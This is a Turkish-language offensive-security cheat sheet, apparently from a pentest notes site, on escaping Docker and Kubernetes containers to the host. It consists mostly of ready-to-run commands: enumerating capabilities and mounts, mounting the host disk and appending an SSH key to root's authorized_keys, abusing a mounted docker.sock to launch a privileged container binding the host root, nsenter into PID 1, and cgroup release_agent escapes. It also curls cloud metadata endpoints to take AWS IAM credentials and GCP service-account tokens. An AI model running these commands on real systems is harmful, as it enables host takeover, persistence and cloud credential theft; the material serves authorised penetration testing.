Skip to content

Container Escape

container escape

Container escape, bir konteyner içinden host işletim sistemine çıkmaktır (T1611). Konteynerler izolasyon sınırı sunsa da; yanlış yapılandırma (–privileged, tehlikeli mount, fazladan capability) veya runtime/çekirdek CVE’leri bu sınırı kaldırır. K8s’te aynı teknikler pod→node için geçerlidir.

- Konteyner içinde shell (RCE)
- Mümkünse: capsh, mount, fdisk, curl, gcc/python
- Hedef: host FS yazma, host PID, Docker API, veya CVE
Terminal window
ls -la /.dockerenv 2>/dev/null
Terminal window
cat /proc/1/cgroup
Terminal window
cat /proc/1/environ | tr '\0' '\n' | head
Terminal window
hostname; id; uname -a
Terminal window
capsh --print 2>/dev/null
Terminal window
cat /proc/self/status | grep -i Cap
Terminal window
cat /proc/1/status | grep Seccomp
Terminal window
aa-status 2>/dev/null; ls -la /sys/kernel/security/
Terminal window
mount | column -t
Terminal window
cat /proc/mounts
Terminal window
df -h
Terminal window
ls -la /dev
Terminal window
ls -la /var/run/docker.sock /run/docker.sock 2>/dev/null
CapEff yüksek + /dev/sd* görünür → privileged veya geniş device
/host veya /var/lib/docker mount → host FS
docker.sock → API ile yeni privileged konteyner
hostPID /proc/1 gerçek init → nsenter adayı
--privileged → tüm capability + host devices → disk mount
-v /:/host → host FS (ssh key, crontab, /etc/shadow)
-v /var/run/docker.sock → Docker API → privileged sibling
CAP_SYS_ADMIN → mount, cgroup release_agent
CAP_SYS_PTRACE + hostPID → host süreçlerine enjeksiyon
CAP_DAC_READ_SEARCH → host dosya okuma (bazı teknikler)
Writable cgroup → release_agent
Çekirdek/runtime CVE → runc CVE-2019-5736, Dirty Pipe, OverlayFS...
  1. Privileged / host mount — –privileged veya host yolu mount varsa host diskini bul ve yaz:

    Terminal window
    fdisk -l
    Terminal window
    mkdir /mnt/host
    Terminal window
    mount /dev/sda1 /mnt/host # cihaza göre
    Terminal window
    echo 'ssh-rsa AAAA...' >> /mnt/host/root/.ssh/authorized_keys
    Terminal window
    chroot /host bash
  2. docker.sock — soket mount’luysa Docker API ile ayrıcalıklı konteyner:

    Terminal window
    docker run -it --privileged -v /:/host alpine chroot /host bash
    Terminal window
    curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json
    Terminal window
    curl -s --unix-socket /var/run/docker.sock \
    -H 'Content-Type: application/json' \
    -d '{"Image":"alpine","Cmd":["sleep","1d"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}' \
    http://localhost/containers/create
  3. CAP_SYS_ADMIN → cgroup release_agent — writable cgroup ile host’ta komut (klasik notify_on_release / release_agent PoC). cdk run exploit veya bilinen PoC akışı.

  4. hostPID + privileged → nsenter :

    Terminal window
    nsenter --target 1 --mount --uts --ipc --net --pid -- bash
  5. Runtime CVE — runc/containerd/kernel sürümünü kontrol et; bilinen escape CVE’lerini (kapsam ve izin dahilinde) dene.

Terminal window
dmesg | head
Terminal window
cat /sys/fs/cgroup/*/release_agent 2>/dev/null
/var/run/docker.sock
/var/run/containerd/containerd.sock
/:/host, /etc, /root, /home
/proc (özellikle procfs yazılabilir yanlış config)
/sys (cgroup yazma)
Terminal window
cat /etc/hostname /etc/machine-id
Terminal window
ls /root/.ssh /home/*/.ssh
Terminal window
crontab -l; ls /etc/cron*
Terminal window
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
Terminal window
curl -s -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
App RCE in Docker
→ docker.sock mounted
→ privileged -v /:/host
→ host root + IMDS keys
→ cloud account
K8s pod (CAP_SYS_ADMIN)
→ release_agent / hostPath
→ node root
→ kubelet creds / cloud SA